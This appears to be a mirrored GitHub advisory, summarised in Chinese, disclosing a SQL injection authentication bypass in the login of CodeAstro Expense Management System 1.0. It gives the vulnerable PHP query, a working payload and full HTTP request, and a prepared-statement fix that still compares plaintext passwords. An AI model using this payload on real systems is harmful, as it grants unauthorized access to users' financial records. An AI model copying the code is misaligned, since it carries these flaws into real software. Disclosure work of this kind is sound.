Harshsanghvi108/CVE-2026-PENDING-EMS
GitHub: Harshsanghvi108/CVE-2026-PENDING-EMS
该项目披露了 CodeAstro 支出管理系统 1.0 中登录接口存在的 SQL 注入漏洞,并提供了完整的概念验证与修复方案。
Stars: 0 | Forks: 0
# CVE-2026-PENDING — CodeAstro Expense Management System 1.0
## SQL 注入 — 身份验证绕过
## 详情
| 字段 | 信息 |
|---|---|
| **CVE ID** | 待 MITRE 分配 |
| **产品** | Expense Management System v1.0 |
| **供应商** | CodeAstro |
| **供应商 URL** | https://codeastro.com/expense-management-system-in-php-with-source-code/ |
| **漏洞类型** | SQL 注入 → 身份验证绕过 |
| **受影响文件** | index.php |
| **受影响参数** | username (POST) |
| **CWE** | CWE-89 |
| **CVSSv3 评分** | 9.8 严重 |
| **CVSSv3 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **发现者** | Harsh Sanghvi |
| **发现日期** | 2026 年 7 月 31 日 |
| **通知供应商** | 2026 年 7 月 31 日 |
| **披露截止日期** | 2026 年 10 月 29 日 |
## 描述
CodeAstro Expense Management System v1.0 的 index.php 登录表单中存在 SQL 注入漏洞。`username` POST 参数未经任何清理或未使用预处理语句,便直接拼接到 MySQL 查询中。未经身份验证的远程攻击者可以绕过登录机制,并在不提供任何有效凭据的情况下获取完全的管理员权限。
## 漏洞代码
**文件:** `index.php`
```
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
```
## 攻击原理
**正常查询(合法用户):**
```
SELECT * FROM users WHERE username='admin' AND password='admin123'
```
**注入查询(攻击者):**
```
SELECT * FROM users WHERE username='admin'-- -' AND password='anything'
```
`-- -` 是 SQL 注释。MySQL 会忽略其后的所有内容。密码检查被完全移除。MySQL 返回 admin 记录,从而授予完全访问权限。
## 概念验证
**步骤 1** — 打开登录页面:
```
http://target/expense/index.php
```
**步骤 2** — 输入以下值:
```
Username : admin' -- -
Password : anything
```
**步骤 3** — 点击登录
**结果:** 无需任何有效凭据即被授予完整的管理员仪表盘访问权限。
**HTTP 请求:**
```
POST /expense/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=admin'-- -&password=anything&login=1
```
**HTTP 响应:**
```
HTTP/1.1 302 Found
Location: dashboard.php
Set-Cookie: PHPSESSID=...
```
## 影响
- 无需任何凭据即可完全绕过身份验证
- 获得对所有应用程序功能的完全管理访问权限
- 访问所有用户的财务记录和支出数据
- 无需特殊工具 — 任何浏览器均可利用
- 无需身份验证 — 互联网上的任何人都可对其进行利用
## 修复建议
```
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$_SESSION["user_id"] = $row["id"];
header("Location: dashboard.php");
exit();
}
```
## 时间线
| 日期 | 事件 |
|---|---|
| 2026 年 7 月 31 日 | 发现漏洞 |
| 2026 年 7 月 31 日 | 通过 cveform-legacy.mitre.org 报告给 MITRE |
| 2026 年 7 月 31 日 | 通过 CodeAstro 联系表单通知供应商 |
| 待定 | MITRE 分配 CVE ID |
| 2026 年 10 月 29 日 | 公开披露截止日期 |
## 参考链接
- 供应商:https://codeastro.com/expense-management-system-in-php-with-source-code/
- CWE-89:https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL 注入:https://owasp.org/www-community/attacks/SQL_Injection
## 发现者
**Harsh D Sanghvi**
独立安全研究员
GitHub:https://github.com/Harshsanghvi108
标签:CISA项目, Web安全, 多模态安全, 蓝队分析, 认证绕过